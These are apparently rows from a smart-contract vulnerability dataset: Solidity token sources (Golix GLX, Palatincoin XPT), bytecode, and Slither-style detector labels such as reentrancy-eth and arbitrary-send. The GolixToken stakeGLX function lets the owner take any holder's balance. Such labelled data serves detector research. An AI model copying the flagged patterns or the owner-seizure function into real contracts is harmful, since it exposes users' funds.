6119fe565b6001600160a01b03841660009081526006602052604090205460ff1680156117f857506001600160a01b03831660009081526006602052604090205460ff165b1561180857611762848484611aa7565b611813848484611b1a565b8061131957611319611b5e565b600080600061182d611b6c565b909250905061183c82826116c2565b9250505090565b600081836118925760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137357818101518382015260200161135b565b50600083858161189e57fe5b0495945050505050565b600c541580156118b85750600d54155b156118c2576118d8565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ec87611ceb565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061191e9088611d48565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461194d9087611d48565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197c9086611d8a565b6001600160a01b03891660009081526002602052604090205561199e81611de4565b6119a88483611e6c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1087611ceb565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a429087611d48565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a789084611d8a565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197c9086611d8a565b600080600080600080611ab987611ceb565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aeb9088611d48565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a429087611d48565b600080600080600080611b2c87611ceb565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061194d9087611d48565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cab57826002600060098481548110611b9c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c015750816003600060098481548110611bda57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c1f57600a54683635c9adc5dea0000094509450505050611ce7565b611c5f6002600060098481548110611c3357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d48565b9250611ca16003600060098481548110611c7557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d48565b9150600101611b80565b50600a54611cc290683635c9adc5dea000006116c2565b821015611ce157600a54683635c9adc5dea00000935093505050611ce7565b90925090505b9091565b6000806000806000806000806000611d088a600c54600d54611e90565b9250925092506000611d18611820565b90506000806000611d2b8e878787611edf565b919e509c509a509598509396509194505050505091939550919395565b600061149483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131f565b600082820183811015611494576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611dee611820565b90506000611dfc8383611669565b30600090815260026020526040902054909150611e199082611d8a565b3060009081526002602090815260408083209390935560069052205460ff1615610d245730600090815260036020526040902054611e579084611d8a565b30600090815260036020526040902055505050565b600a54611e799083611d48565b600a55600b54611e899082611d8a565b600b555050565b6000808080611ea46064610dee8989611669565b90506000611eb76064610dee8a89611669565b90506000611ecf82611ec98b86611d48565b90611d48565b9992985090965090945050505050565b6000808080611eee8886611669565b90506000611efc8887611669565b90506000611f0a8888611669565b90506000611f1c82611ec98686611d48565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122065dcf13949390b24e1b04dae84fd2426554ae25a04494b13677b7de33bc3711764736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,156 |
0xe430dce57cb6e3afc6216c710870bed0680d018a | pragma solidity 0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/GolixToken.sol
/**
* @title Golix Token contract - ERC20 compatible token contract.
* @author Gustavo Guimaraes - <gustavoguimaraes@gmail.com>
*/
contract GolixToken is PausableToken, MintableToken {
string public constant name = "Golix Token";
string public constant symbol = "GLX";
uint8 public constant decimals = 18;
/**
* @dev Allow for staking of GLX tokens
* function is called only from owner which is the GLX token distribution contract
* is only triggered for a period of time and only if there are still tokens from crowdsale
* @param staker Address of token holder
* @param glxStakingContract Address where staking tokens goes to
*/
function stakeGLX(address staker, address glxStakingContract) public onlyOwner {
uint256 stakerGLXBalance = balanceOf(staker);
balances[staker] = 0;
balances[glxStakingContract] = balances[glxStakingContract].add(stakerGLXBalance);
emit Transfer(staker, glxStakingContract, stakerGLXBalance);
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013f578063095ea7b3146101c957806318160ddd146101ed57806323b872dd14610214578063313ce5671461023e5780633f4ba83a1461026957806340c10f19146102805780635c975abb146102a457806366188463146102b957806370a08231146102dd5780637d64bcb4146102fe5780638456cb59146103135780638da5cb5b1461032857806395d89b4114610359578063a9059cbb1461036e578063d73dd62314610392578063dd62ed3e146103b6578063ee4c1ed3146103dd578063f2fde38b14610404575b600080fd5b34801561012257600080fd5b5061012b610425565b604080519115158252519081900360200190f35b34801561014b57600080fd5b50610154610447565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018e578181015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b5061012b600160a060020a036004351660243561047e565b3480156101f957600080fd5b506102026104a9565b60408051918252519081900360200190f35b34801561022057600080fd5b5061012b600160a060020a03600435811690602435166044356104af565b34801561024a57600080fd5b506102536104dc565b6040805160ff9092168252519081900360200190f35b34801561027557600080fd5b5061027e6104e1565b005b34801561028c57600080fd5b5061012b600160a060020a0360043516602435610559565b3480156102b057600080fd5b5061012b610663565b3480156102c557600080fd5b5061012b600160a060020a0360043516602435610673565b3480156102e957600080fd5b50610202600160a060020a0360043516610697565b34801561030a57600080fd5b5061012b6106b2565b34801561031f57600080fd5b5061027e61075b565b34801561033457600080fd5b5061033d6107d8565b60408051600160a060020a039092168252519081900360200190f35b34801561036557600080fd5b506101546107e7565b34801561037a57600080fd5b5061012b600160a060020a036004351660243561081e565b34801561039e57600080fd5b5061012b600160a060020a0360043516602435610842565b3480156103c257600080fd5b50610202600160a060020a0360043581169060243516610866565b3480156103e957600080fd5b5061027e600160a060020a0360043581169060243516610891565b34801561041057600080fd5b5061027e600160a060020a0360043516610933565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600b81527f476f6c697820546f6b656e000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561049857600080fd5b6104a283836109c8565b9392505050565b60015490565b60035460009060a060020a900460ff16156104c957600080fd5b6104d4848484610a2e565b949350505050565b601281565b600354600160a060020a031633146104f857600080fd5b60035460a060020a900460ff16151561051057600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461057357600080fd5b6003547501000000000000000000000000000000000000000000900460ff161561059c57600080fd5b6001546105af908363ffffffff610b9316565b600155600160a060020a0383166000908152602081905260409020546105db908363ffffffff610b9316565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a03851691600091600080516020610e0d8339815191529181900360200190a350600192915050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561068d57600080fd5b6104a28383610ba2565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a031633146106cc57600080fd5b6003547501000000000000000000000000000000000000000000900460ff16156106f557600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a0316331461077257600080fd5b60035460a060020a900460ff161561078957600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f474c580000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561083857600080fd5b6104a28383610c92565b60035460009060a060020a900460ff161561085c57600080fd5b6104a28383610d61565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600090600160a060020a031633146108ab57600080fd5b6108b483610697565b600160a060020a03808516600090815260208190526040808220829055918516815220549091506108eb908263ffffffff610b9316565b600160a060020a03808416600081815260208181526040918290209490945580518581529051919392871692600080516020610e0d83398151915292918290030190a3505050565b600354600160a060020a0316331461094a57600080fd5b600160a060020a038116151561095f57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a0383161515610a4557600080fd5b600160a060020a038416600090815260208190526040902054821115610a6a57600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610a9a57600080fd5b600160a060020a038416600090815260208190526040902054610ac3908363ffffffff610dfa16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610af8908363ffffffff610b9316565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610b3a908363ffffffff610dfa16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e0d833981519152929181900390910190a35060019392505050565b6000828201838110156104a257fe5b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610bf757336000908152600260209081526040808320600160a060020a0388168452909152812055610c2c565b610c07818463ffffffff610dfa16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610ca957600080fd5b33600090815260208190526040902054821115610cc557600080fd5b33600090815260208190526040902054610ce5908363ffffffff610dfa16565b3360009081526020819052604080822092909255600160a060020a03851681522054610d17908363ffffffff610b9316565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e0d8339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610d95908363ffffffff610b9316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610e0657fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820854d3dae9dbefa4fc43b442bb91078fae43935bb805b222b763b0760dba009770029 | {"success": true, "error": null, "results": {}} | 1,157 |
0x541ac3dbde0712b1a121bdd5e8c506ae594a4631 | pragma solidity ^0.4.23;
/*
* Creator:XPT (Palatincoin Token)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Palatincoin token smart contract.
*/
contract XPTToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 10000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function XPTToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Palatincoin";
string constant public symbol = "XPT";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff168152602001